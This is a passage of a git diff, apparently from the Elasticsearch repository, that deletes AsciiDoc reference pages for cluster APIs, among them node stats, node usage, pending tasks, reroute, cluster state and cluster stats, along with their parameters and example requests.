-Total number of times the circuit breaker has been triggered and prevented an
-out of memory error.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-script]]
-`script`::
-(object)
-Contains script statistics for the node.
-+
-.Properties of `script`
-[%collapsible%open]
-======
-`compilations`::
-(integer)
-Total number of inline script compilations performed by the node.
-
-`cache_evictions`::
-(integer)
-Total number of times the script cache has evicted old data.
-
-`compilation_limit_triggered`::
-(integer)
-Total number of times the <<script-compilation-circuit-breaker,script
-compilation>> circuit breaker has limited inline script compilations.
-======
-
-[[cluster-nodes-stats-api-response-body-discovery]]
-`discovery`::
-(object)
-Contains node discovery statistics for the node.
-+
-.Properties of `discovery`
-[%collapsible%open]
-======
-`cluster_state_queue`::
-(object)
-Contains statistics for the cluster state queue of the node.
-+
-.Properties of `cluster_state_queue`
-[%collapsible%open]
-=======
-`total`::
-(integer)
-Total number of cluster states in queue.
-
-`pending`::
-(integer)
-Number of pending cluster states in queue.
-
-`committed`::
-(integer)
-Number of committed cluster states in queue.
-=======
-
-`published_cluster_states`::
-(object)
-Contains statistics for the published cluster states of the node.
-+
-.Properties of `published_cluster_states`
-[%collapsible%open]
-=======
-`full_states`::
-(integer)
-Number of published cluster states.
-
-`incompatible_diffs`::
-(integer)
-Number of incompatible differences between published cluster states.
-
-`compatible_diffs`::
-(integer)
-Number of compatible differences between published cluster states.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-ingest]]
-`ingest`::
-(object)
-Contains ingest statistics for the node.
-+
-.Properties of `ingest`
-[%collapsible%open]
-======
-`total`::
-(object)
-Contains statistics about ingest operations for the node.
-+
-.Properties of `total`
-[%collapsible%open]
-=======
-`count`::
-(integer)
-Total number of documents ingested during the lifetime of this node.
-
-`time`::
-(<<time-units,time value>>)
-Total time spent preprocessing ingest documents during the lifetime of this
-node.
-
-`time_in_millis`::
-(integer)
-Total time, in milliseconds, spent preprocessing ingest documents during the
-lifetime of this node.
-
-`current`::
-(integer)
-Total number of documents currently being ingested.
-
-`failed`::
-(integer)
-Total number of failed ingest operations during the lifetime of this node.
-=======
-
-`pipelines`::
-(object)
-Contains statistics about ingest pipelines for the node.
-+
-.Properties of `pipelines`
-[%collapsible%open]
-=======
-`<pipeline_id>`::
-(object)
-Contains statistics about the ingest pipeline.
-+
-.Properties of `<pipeline_id>`
-[%collapsible%open]
-========
-`count`::
-(integer)
-Number of documents preprocessed by the ingest pipeline.
-
-`time`::
-(<<time-units,time value>>)
-Total time spent preprocessing documents in the ingest pipeline.
-
-`time_in_millis`::
-(integer)
-Total time, in milliseconds, spent preprocessing documents in the ingest
-pipeline.
-
-`failed`::
-(integer)
-Total number of failed operations for the ingest pipeline.
-
-`processors`::
-(array of objects)
-Contains statistics for the ingest processors for the ingest pipeline.
-+
-.Properties of `processors`
-[%collapsible%open]
-=========
-`<processor>`::
-(object)
-Contains statistics for the ingest processor.
-+
-.Properties of `<processor>`
-[%collapsible%open]
-==========
-`count`::
-(integer)
-Number of documents transformed by the processor.
-
-`time`::
-(<<time-units,time value>>)
-Time spent by the processor transforming documents.
-
-`time_in_millis`::
-(integer)
-Time, in milliseconds, spent by the processor transforming documents.
-
-`current`::
-(integer)
-Number of documents currently being transformed by the processor.
-
-`failed`::
-(integer)
-Number of failed operations for the processor.
-==========
-=========
-========
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-indexing-pressure]]
-`indexing_pressure`::
-(object)
-Contains <<index-modules-indexing-pressure,indexing pressure>> statistics for the node.
-+
-.Properties of `indexing_pressure`
-[%collapsible%open]
-======
-`memory`::
-(object)
-Contains statistics for memory consumption from indexing load.
-+
-.Properties of `<memory>`
-[%collapsible%open]
-=======
-`current`::
-(object)
-Contains statistics for current indexing load.
-+
-.Properties of `<current>`
-[%collapsible%open]
-========
-`combined_coordinating_and_primary`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the coordinating or primary stage. This
-value is not the sum of coordinating and primary as a node can reuse the
-coordinating memory if the primary stage is executed locally.
-
-`combined_coordinating_and_primary_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the coordinating or primary
-stage. This value is not the sum of coordinating and primary as a node can
-reuse the coordinating memory if the primary stage is executed locally.
-
-`coordinating`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the coordinating stage.
-
-`coordinating_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the coordinating stage.
-
-`primary`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the primary stage.
-
-`primary_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the primary stage.
-
-`replica`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the replica stage.
-
-`replica_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the replica stage.
-
-`all`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the coordinating, primary, or replica stage.
-
-`all_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the coordinating, primary,
-or replica stage.
-========
-`total`::
-(object)
-Contains statistics for the cumulative indexing load since the node started.
-+
-.Properties of `<total>`
-[%collapsible%open]
-========
-`combined_coordinating_and_primary`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the coordinating or primary stage. This
-value is not the sum of coordinating and primary as a node can reuse the
-coordinating memory if the primary stage is executed locally.
-
-`combined_coordinating_and_primary_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the coordinating or primary
-stage. This value is not the sum of coordinating and primary as a node can
-reuse the coordinating memory if the primary stage is executed locally.
-
-`coordinating`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the coordinating stage.
-
-`coordinating_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the coordinating stage.
-
-`primary`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the primary stage.
-
-`primary_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the primary stage.
-
-`replica`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the replica stage.
-
-`replica_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the replica stage.
-
-`all`::
-(<<byte-units,byte value>>)
-Memory consumed by indexing requests in the coordinating, primary, or replica stage.
-
-`all_in_bytes`::
-(integer)
-Memory consumed, in bytes, by indexing requests in the coordinating, primary,
-or replica stage.
-
-`coordinating_rejections`::
-(integer)
-Number of indexing requests rejected in the coordinating stage.
-
-`primary_rejections`::
-(integer)
-Number of indexing requests rejected in the primary stage.
-
-`replica_rejections`::
-(integer)
-Number of indexing requests rejected in the replica stage.
-========
-`limit`::
-(<<byte-units,byte value>>)
-Configured memory limit for the indexing requests. Replica requests have an
-automatic limit that is 1.5x this value.
-
-`limit_in_bytes`::
-(integer)
-Configured memory limit, in bytes, for the indexing requests. Replica requests
-have an automatic limit that is 1.5x this value.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-adaptive-selection]]
-`adaptive_selection`::
-(object)
-Contains adaptive selection statistics for the node.
-+
-.Properties of `adaptive_selection`
-[%collapsible%open]
-======
-`outgoing_searches`::
-(integer)
-The number of outstanding search requests from the node these stats are for
-to the keyed node.
-
-`avg_queue_size`::
-(integer)
-The exponentially weighted moving average queue size of search requests on
-the keyed node.
-
-`avg_service_time`::
-(<<time-units,time value>>)
-The exponentially weighted moving average service time of search requests on
-the keyed node.
-
-`avg_service_time_ns`::
-(integer)
-The exponentially weighted moving average service time, in nanoseconds, of
-search requests on the keyed node.
-
-`avg_response_time`::
-(<<time-units,time value>>)
-The exponentially weighted moving average response time of search requests
-on the keyed node.
-
-`avg_response_time_ns`::
-(integer)
-The exponentially weighted moving average response time, in nanoseconds, of
-search requests on the keyed node.
-
-`rank`::
-(string)
-The rank of this node; used for shard selection when routing search
-requests.
-======
-=====
-====
-
-[[cluster-nodes-stats-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-# return just indices
-GET /_nodes/stats/indices
-
-# return just os and process
-GET /_nodes/stats/os,process
-
-# return just process for node with IP address 10.0.0.1
-GET /_nodes/10.0.0.1/stats/process
---------------------------------------------------
-
-All stats can be explicitly requested via `/_nodes/stats/_all` or
-`/_nodes/stats?metric=_all`.
-
-You can get information about indices stats on `node`, `indices`, or `shards`
-level.
-
-[source,console]
---------------------------------------------------
-# Fielddata summarized by node
-GET /_nodes/stats/indices/fielddata?fields=field1,field2
-
-# Fielddata summarized by node and index
-GET /_nodes/stats/indices/fielddata?level=indices&fields=field1,field2
-
-# Fielddata summarized by node, index, and shard
-GET /_nodes/stats/indices/fielddata?level=shards&fields=field1,field2
-
-# You can use wildcards for field names
-GET /_nodes/stats/indices/fielddata?fields=field*
---------------------------------------------------
-
-You can get statistics about search groups for searches executed
-on this node.
-
-[source,console]
---------------------------------------------------
-# All groups with all stats
-GET /_nodes/stats?groups=_all
-
-# Some groups from just the indices stats
-GET /_nodes/stats/indices?groups=foo,bar
---------------------------------------------------
-
-[[cluster-nodes-stats-ingest-ex]]
-===== Retrieve ingest statistics only
-
-To return only ingest-related node statistics, set the `<metric>` path
-parameter to `ingest` and use the
-<<common-options-response-filtering,`filter_path`>> query parameter.
-
-[source,console]
---------------------------------------------------
-GET /_nodes/stats/ingest?filter_path=nodes.*.ingest
---------------------------------------------------
-
-You can use the `metric` and `filter_path` query parameters to get the same
-response.
-
-[source,console]
---------------------------------------------------
-GET /_nodes/stats?metric=ingest&filter_path=nodes.*.ingest
---------------------------------------------------
-
-To further refine the response, change the `filter_path` value.
-For example, the following request only returns ingest pipeline statistics.
-
-[source,console]
---------------------------------------------------
-GET /_nodes/stats?metric=ingest&filter_path=nodes.*.ingest.pipelines
---------------------------------------------------
diff --git a/docs/reference/cluster/nodes-usage.asciidoc b/docs/reference/cluster/nodes-usage.asciidoc
deleted file mode 100644
index c62c42a5722..00000000000
--- a/docs/reference/cluster/nodes-usage.asciidoc
+++ /dev/null
@@ -1,110 +0,0 @@
-[[cluster-nodes-usage]]
-=== Nodes feature usage API
-++++
-<titleabbrev>Nodes feature usage</titleabbrev>
-++++
-
-Returns information on the usage of features.
-
-
-[[cluster-nodes-usage-api-request]]
-==== {api-request-title}
-
-`GET /_nodes/usage` +
-
-`GET /_nodes/<node_id>/usage` +
-
-`GET /_nodes/usage/<metric>` +
-
-`GET /_nodes/<node_id>/usage/<metric>`
-
-[[cluster-nodes-usage-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-nodes-usage-api-desc]]
-==== {api-description-title}
-
-The cluster nodes usage API allows you to retrieve information on the usage
-of features for each node. All the nodes selective options are explained
-<<cluster-nodes,here>>.
-
-
-[[cluster-nodes-usage-api-path-params]]
-==== {api-path-parms-title}
-
-`<metric>`::
-    (Optional, string) Limits the information returned to the specific metrics.
-    A comma-separated list of the following options:
-+
---
-    `_all`::
-        Returns all stats.
-
-    `rest_actions`::
-        Returns the REST actions classname with a count of the number of times
-        that action has been called on the node.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-
-[[cluster-nodes-usage-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[cluster-nodes-usage-api-example]]
-==== {api-examples-title}
-
-Rest action example:
-
-[source,console]
---------------------------------------------------
-GET _nodes/usage
---------------------------------------------------
-// TEST[setup:node]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_nodes": {
-    "total": 1,
-    "successful": 1,
-    "failed": 0
-  },
-  "cluster_name": "my_cluster",
-  "nodes": {
-    "pQHNt5rXTTWNvUgOrdynKg": {
-      "timestamp": 1492553961812, <1>
-      "since": 1492553906606, <2>
-      "rest_actions": {
-        "nodes_usage_action": 1,
-        "create_index_action": 1,
-        "document_get_action": 1,
-        "search_action": 19, <3>
-        "nodes_info_action": 36
-      },
-      "aggregations": {
-        ...
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"my_cluster"/$body.cluster_name/]
-// TESTRESPONSE[s/"pQHNt5rXTTWNvUgOrdynKg"/\$node_name/]
-// TESTRESPONSE[s/1492553961812/$body.$_path/]
-// TESTRESPONSE[s/1492553906606/$body.$_path/]
-// TESTRESPONSE[s/"rest_actions": [^}]+}/"rest_actions": $body.$_path/]
-// TESTRESPONSE[s/"aggregations": [^}]+}/"aggregations": $body.$_path/]
-<1> Timestamp for when this nodes usage request was performed.
-<2> Timestamp for when the usage information recording was started. This is
-equivalent to the time that the node was started.
-<3> Search action has been called 19 times for this node.
-
diff --git a/docs/reference/cluster/pending.asciidoc b/docs/reference/cluster/pending.asciidoc
deleted file mode 100644
index b7d73b79410..00000000000
--- a/docs/reference/cluster/pending.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[[cluster-pending]]
-=== Pending cluster tasks API
-++++
-<titleabbrev>Pending cluster tasks</titleabbrev>
-++++
-
-Returns cluster-level changes that have not yet been executed.
-
-
-[[cluster-pending-api-request]]
-==== {api-request-title}
-
-`GET /_cluster/pending_tasks`
-
-[[cluster-pending-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-pending-api-desc]]
-==== {api-description-title}
-
-The pending cluster tasks API returns a list of any cluster-level changes (e.g. 
-create index, update mapping, allocate or fail shard) which have not yet been 
-executed.
-
-NOTE: This API returns a list of any pending updates to the cluster state. These are distinct from the tasks reported by the
-<<tasks,Task Management API>> which include periodic tasks and tasks initiated by the user, such as node stats, search queries, or create
-index requests. However, if a user-initiated task such as a create index command causes a cluster state update, the activity of this task
-might be reported by both task api and pending cluster tasks API.
-
-
-[[cluster-pending-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[cluster-pending-api-response-body]]
-==== {api-response-body-title}
-
-`tasks`::
-    (object) A list of pending tasks.
-    
-`insert_order`::
-    (integer) The number that represents when the task has been inserted into 
-    the task queue.
-    
-`priority`::
-    (string) The priority of the pending task.
-    
-`source`::
-    (string) A general description of the cluster task that may include a reason 
-    and origin. 
-    
-`time_in_queue_millis`::
-    (integer) The time expressed in milliseconds since the task is waiting for 
-    being performed.
-    
-`time_in_queue`::
-    (string) The time since the task is waiting for being performed.
-
-
-[[cluster-pending-api-example]]
-==== {api-examples-title}
-
-Usually the request will return an empty list as cluster-level changes are fast. 
-However, if there are tasks queued up, the response will look similar like this:
-
-[source,js]
---------------------------------------------------
-{
-   "tasks": [
-      {
-         "insert_order": 101,
-         "priority": "URGENT",
-         "source": "create-index [foo_9], cause [api]",
-         "time_in_queue_millis": 86,
-         "time_in_queue": "86ms"
-      },
-      {
-         "insert_order": 46,
-         "priority": "HIGH",
-         "source": "shard-started ([foo_2][1], node[tMTocMvQQgGCkj7QDHl3OA], [P], s[INITIALIZING]), reason [after recovery from shard_store]",
-         "time_in_queue_millis": 842,
-         "time_in_queue": "842ms"
-      },
-      {
-         "insert_order": 45,
-         "priority": "HIGH",
-         "source": "shard-started ([foo_2][0], node[tMTocMvQQgGCkj7QDHl3OA], [P], s[INITIALIZING]), reason [after recovery from shard_store]",
-         "time_in_queue_millis": 858,
-         "time_in_queue": "858ms"
-      }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-// We can't test tasks output
diff --git a/docs/reference/cluster/remote-info.asciidoc b/docs/reference/cluster/remote-info.asciidoc
deleted file mode 100644
index bbcc2321c12..00000000000
--- a/docs/reference/cluster/remote-info.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[[cluster-remote-info]]
-=== Remote cluster info API
-++++
-<titleabbrev>Remote cluster info</titleabbrev>
-++++
-
-Returns configured remote cluster information.
-
-
-[[cluster-remote-info-api-request]]
-==== {api-request-title}
-
-`GET /_remote/info`
-
-[[cluster-remote-info-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-remote-info-api-desc]]
-==== {api-description-title}
-
-The cluster remote info API allows you to retrieve all of the configured
-remote cluster information. It returns connection and endpoint information keyed
-by the configured remote cluster alias.
-
-
-[[cluster-remote-info-api-response-body]]
-==== {api-response-body-title}
-
-`mode`::
-    Connection mode for the remote cluster. Returned values are `sniff` and
-    `proxy`.
-
-`connected`::
-	True if there is at least one connection to the remote cluster.
-
-`initial_connect_timeout`::
-	The initial connect timeout for remote cluster connections.
-
-[[skip-unavailable]]
-`skip_unavailable`::
-    Whether the remote cluster is skipped in case it is searched through
-    a {ccs} request but none of its nodes are available.
-
-`seeds`::
-    Initial seed transport addresses of the remote cluster when sniff mode is
-    configured.
-
-`num_nodes_connected`::
-    Number of connected nodes in the remote cluster when sniff mode is
-    configured.
-
-`max_connections_per_cluster`::
-    Maximum number of connections maintained for the remote cluster when sniff
-    mode is configured.
-
-`proxy_address`::
-    Address for remote connections when proxy mode is configured.
-
-`num_proxy_sockets_connected`::
-    Number of open socket connections to the remote cluster when proxy mode
-    is configured.
-
-`max_proxy_socket_connections`::
-    The maximum number of socket connections to the remote cluster when proxy
-    mode is configured.
diff --git a/docs/reference/cluster/reroute.asciidoc b/docs/reference/cluster/reroute.asciidoc
deleted file mode 100644
index c496cdc295a..00000000000
--- a/docs/reference/cluster/reroute.asciidoc
+++ /dev/null
@@ -1,210 +0,0 @@
-[[cluster-reroute]]
-=== Cluster reroute API
-++++
-<titleabbrev>Cluster reroute</titleabbrev>
-++++
-
-Changes the allocation of shards in a cluster.
-
-
-[[cluster-reroute-api-request]]
-==== {api-request-title}
-
-`POST /_cluster/reroute`
-
-[[cluster-reroute-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-reroute-api-desc]]
-==== {api-description-title}
-
-The reroute command allows for manual changes to the allocation of individual
-shards in the cluster. For example, a shard can be moved from one node to
-another explicitly, an allocation can be cancelled, and an unassigned shard can
-be explicitly allocated to a specific node.
-
-It is important to note that after processing any reroute commands {es} will
-perform rebalancing as normal (respecting the values of settings such as
-`cluster.routing.rebalance.enable`) in order to remain in a balanced state. For
-example, if the requested allocation includes moving a shard from `node1` to
-`node2` then this may cause a shard to be moved from `node2` back to `node1` to
-even things out.
-
-The cluster can be set to disable allocations using the
-`cluster.routing.allocation.enable` setting. If allocations are disabled then
-the only allocations that will be performed are explicit ones given using the
-`reroute` command, and consequent allocations due to rebalancing.
-
-It is possible to run `reroute` commands in "dry run" mode by using the
-`?dry_run` URI query parameter, or by passing `"dry_run": true` in the request
-body. This will calculate the result of applying the commands to the current
-cluster state, and return the resulting cluster state after the commands (and
-re-balancing) has been applied, but will not actually perform the requested
-changes.
-
-If the `?explain` URI query parameter is included then a detailed explanation
-of why the commands could or could not be executed is included in the response.
-
-The cluster will attempt to allocate a shard a maximum of
-`index.allocation.max_retries` times in a row (defaults to `5`), before giving
-up and leaving the shard unallocated. This scenario can be caused by
-structural problems such as having an analyzer which refers to a stopwords
-file which doesn't exist on all nodes.
-
-Once the problem has been corrected, allocation can be manually retried by
-calling the `reroute` API with the `?retry_failed` URI
-query parameter, which will attempt a single retry round for these shards.
-
-
-[[cluster-reroute-api-query-params]]
-[role="child_attributes"]
-==== {api-query-parms-title}
-
-`dry_run`::
-    (Optional, Boolean) If `true`, then the request simulates the operation only
-    and returns the resulting state.
-
-`explain`::
-    (Optional, Boolean) If `true`, then the response contains an explanation of
-    why the commands can or cannot be executed.
-
-`metric`::
-    (Optional, string) Limits the information returned to the specified metrics.
-    Defaults to all but metadata The following options are available:
-
-+
-.Options for `metric`
-[%collapsible%open]
-======
-`_all`::
-    Shows all metrics.
-
-`blocks`::
-    Shows the `blocks` part of the response.
-
-`master_node`::
-    Shows the elected `master_node` part of the response.
-
-`metadata`::
-    Shows the `metadata` part of the response. If you supply a comma separated
-    list of indices, the returned output will only contain metadata for these
-    indices.
-
-`nodes`::
-    Shows the `nodes` part of the response.
-
-`routing_table`::
-    Shows the `routing_table` part of the response.
-
-`version`::
-    Shows the cluster state version.
-======
-
-
-`retry_failed`::
-    (Optional, Boolean) If `true`, then retries allocation of shards that are
-    blocked due to too many subsequent allocation failures.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[role="child_attributes"]
-[[cluster-reroute-api-request-body]]
-==== {api-request-body-title}
-
-`commands`::
-    (Required, array of objects) Defines the commands to perform. Supported commands are:
-
-+
-.Properties of `commands`
-[%collapsible%open]
-======
-
-`move`::
-    Move a started shard from one node to another node. Accepts `index` and
-    `shard` for index name and shard number, `from_node` for the node to move
-    the shard from, and `to_node` for the node to move the shard to.
-
-`cancel`::
-    Cancel allocation of a shard (or recovery). Accepts `index` and `shard` for
-    index name and shard number, and `node` for the node to cancel the shard
-    allocation on. This can be used to force resynchronization of existing
-    replicas from the primary shard by cancelling them and allowing them to be
-    reinitialized through the standard recovery process. By default only
-    replica shard allocations can be cancelled. If it is necessary to cancel
-    the allocation of a primary shard then the `allow_primary` flag must also
-    be included in the request.
-
-`allocate_replica`::
-    Allocate an unassigned replica shard to a node. Accepts `index` and `shard`
-    for index name and shard number, and `node` to allocate the shard to. Takes
-    <<modules-cluster,allocation deciders>> into account.
-
-Two more commands are available that allow the allocation of a primary shard to
-a node. These commands should however be used with extreme care, as primary
-shard allocation is usually fully automatically handled by {es}. Reasons why a
-primary shard cannot be automatically allocated include the
-following:
-
-- A new index was created but there is no node which satisfies the allocation
-  deciders.
-- An up-to-date shard copy of the data cannot be found on the current data
-  nodes in the cluster. To prevent data loss, the system does not automatically
-promote a stale shard copy to primary.
-
-The following two commands are dangerous and may result in data loss. They are
-meant to be used in cases where the original data can not be recovered and the
-cluster administrator accepts the loss. If you have suffered a temporary issue
-that can be fixed, please see the `retry_failed` flag described above. To
-emphasise: if these commands are performed and then a node joins the cluster
-that holds a copy of the affected shard then the copy on the newly-joined node
-will be deleted or overwritten.
-
-`allocate_stale_primary`::
-    Allocate a primary shard to a node that holds a stale copy. Accepts the
-    `index` and `shard` for index name and shard number, and `node` to allocate
-    the shard to. Using this command may lead to data loss for the provided
-    shard id. If a node which has the good copy of the data rejoins the cluster
-    later on, that data will be deleted or overwritten with the data of the
-    stale copy that was forcefully allocated with this command. To ensure that
-    these implications are well-understood, this command requires the flag
-    `accept_data_loss` to be explicitly set to `true`.
-
-`allocate_empty_primary`::
-    Allocate an empty primary shard to a node. Accepts the `index` and `shard`
-    for index name and shard number, and `node` to allocate the shard to. Using
-    this command leads to a complete loss of all data that was indexed into
-    this shard, if it was previously started. If a node which has a copy of the
-    data rejoins the cluster later on, that data will be deleted. To ensure
-    that these implications are well-understood, this command requires the flag
-    `accept_data_loss` to be explicitly set to `true`.
-======
-
-[[cluster-reroute-api-example]]
-==== {api-examples-title}
-
-This is a short example of a simple reroute API call:
-
-[source,console]
---------------------------------------------------
-POST /_cluster/reroute
-{
-  "commands": [
-    {
-      "move": {
-        "index": "test", "shard": 0,
-        "from_node": "node1", "to_node": "node2"
-      }
-    },
-    {
-      "allocate_replica": {
-        "index": "test", "shard": 1,
-        "node": "node3"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[skip:doc tests run with only a single node]
diff --git a/docs/reference/cluster/state.asciidoc b/docs/reference/cluster/state.asciidoc
deleted file mode 100644
index 160153ee5e5..00000000000
--- a/docs/reference/cluster/state.asciidoc
+++ /dev/null
@@ -1,161 +0,0 @@
-[[cluster-state]]
-=== Cluster state API
-++++
-<titleabbrev>Cluster state</titleabbrev>
-++++
-
-Returns metadata about the state of the cluster.
-
-[[cluster-state-api-request]]
-==== {api-request-title}
-
-`GET /_cluster/state/<metrics>/<target>`
-
-[[cluster-state-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-state-api-desc]]
-==== {api-description-title}
-
-The cluster state API allows access to metadata representing the state of the
-whole cluster. This includes information such as
-
-* the set of nodes in the cluster
-
-* all cluster-level settings
-
-* information about the indices in the cluster, including their mappings and
-  settings
-
-* the locations of all the shards in the cluster.
-
-NOTE: The response is an internal representation of the cluster state and its
-format may change from version to version. If possible, you should obtain any
-information from the cluster state using the other, more stable,
-<<cluster,cluster APIs>>.
-
-The response provides the cluster state itself, which can be filtered to only
-retrieve the parts of interest as described below.
-
-The cluster's `cluster_uuid` is also returned as part of the top-level response,
-in addition to the `metadata` section. added[6.4.0]
-
-NOTE: While the cluster is still forming, it is possible for the `cluster_uuid`
-      to be `_na_` as well as the cluster state's version to be `-1`.
-
-By default, the cluster state request is routed to the master node, to ensure
-that the latest cluster state is returned. For debugging purposes, you can
-retrieve the cluster state local to a particular node by adding `local=true` to
-the query string.
-
-[[cluster-state-api-path-params]]
-==== {api-path-parms-title}
-
-The cluster state contains information about all the indices in the cluster,
-including their mappings, as well as templates and other metadata. This means it
-can sometimes be quite large. To avoid the need to process all this information
-you can request only the part of the cluster state that you need:
-
-`<metrics>`::
-    (Optional, string) A comma-separated list of the following options:
-+
---
-  `_all`::
-      Shows all metrics.
-    
-  `blocks`::
-      Shows the `blocks` part of the response.
-
-  `master_node`::
-      Shows the elected `master_node` part of the response.
-    
-  `metadata`::
-      Shows the `metadata` part of the response. If you supply a comma separated
-      list of indices, the returned output will only contain metadata for these
-      indices.
-
-  `nodes`::
-      Shows the `nodes` part of the response.
-
-  `routing_nodes`::
-      Shows the `routing_nodes` part of the response.
-
-  `routing_table`::
-      Shows the `routing_table` part of the response. If you supply a comma
-      separated list of indices, the returned output will only contain the 
-      routing table for these indices.
-    
-  `version`::
-      Shows the cluster state version.
---
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[cluster-state-api-query-params]]
-==== {api-query-parms-title}
-
-`allow_no_indices`::
-    (Optional, Boolean) If `true`, the wildcard indices expression that resolves 
-    into no concrete indices will be ignored. (This includes `_all` string or 
-    when no indices have been specified).
-+
-Defaults to `true`.
-
-`expand_wildcards`::
-    (Optional, string) Whether to expand wildcard expression to concrete indices 
-    that are open, closed or both. Available options: `open`, `closed`, `none`, 
-    `all`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-    
-`ignore_unavailable`::
-    (Optional, Boolean) If `true`, unavailable indices (missing or closed) will 
-    be ignored.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-`wait_for_metadata_version`::
-    (Optional, integer) Waits for the metadata version to be equal or greater 
-    than the specified metadata version.
-    
-`wait_for_timeout`::
-    (Optional, <<time-units, time units>>) Specifies the maximum time to wait 
-    for wait_for_metadata_version before timing out.
-
-
-[[cluster-state-api-example]]
-==== {api-examples-title}
-
-The following example returns only `metadata` and `routing_table` data for the
-`foo` and `bar` data streams or indices:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state/metadata,routing_table/foo,bar
---------------------------------------------------
-
-The next example returns all available metadata for `foo` and `bar`:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state/_all/foo,bar
---------------------------------------------------
-
-This example returns only the `blocks` metadata:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state/blocks
---------------------------------------------------
diff --git a/docs/reference/cluster/stats.asciidoc b/docs/reference/cluster/stats.asciidoc
deleted file mode 100644
index fecd0208550..00000000000
--- a/docs/reference/cluster/stats.asciidoc
+++ /dev/null
@@ -1,1356 +0,0 @@
-[[cluster-stats]]
-=== Cluster stats API
-++++
-<titleabbrev>Cluster stats</titleabbrev>
-++++
-
-Returns cluster statistics.
-
-
-[[cluster-stats-api-request]]
-==== {api-request-title}
-
-`GET /_cluster/stats` +
-
-`GET /_cluster/stats/nodes/<node_filter>`
-
-[[cluster-stats-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-stats-api-desc]]
-==== {api-description-title}
-
-The Cluster Stats API allows to retrieve statistics from a cluster wide
-perspective. The API returns basic index metrics (shard numbers, store size,
-memory usage) and information about the current nodes that form the cluster
-(number, roles, os, jvm versions, memory usage, cpu and installed plugins).
-
-
-[[cluster-stats-api-path-params]]
-==== {api-path-parms-title}
-
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-filter]
-
-
-[[cluster-stats-api-query-params]]
-==== {api-query-parms-title}
-
-`timeout`::
-(Optional, <<time-units, time units>>)
-Period to wait for each node to respond. If a node does not respond before its
-timeout expires, the response does not include its stats. However, timed out
-nodes are included in the response's `_nodes.failed` property. Defaults to no
-timeout.
-
-[role="child_attributes"]
-[[cluster-stats-api-response-body]]
-==== {api-response-body-title}
-
-`_nodes`::
-(object)
-Contains statistics about the number of nodes selected by the request's
-<<cluster-nodes,node filters>>.
-+
-.Properties of `_nodes`
-[%collapsible%open]
-====
-`total`::
-(integer)
-Total number of nodes selected by the request.
-
-`successful`::
-(integer)
-Number of nodes that responded successfully to the request.
-
-`failed`::
-(integer)
-Number of nodes that rejected the request or failed to respond. If this value
-is not `0`, a reason for the rejection or failure is included in the response.
-====
-
-`cluster_name`::
-(string)
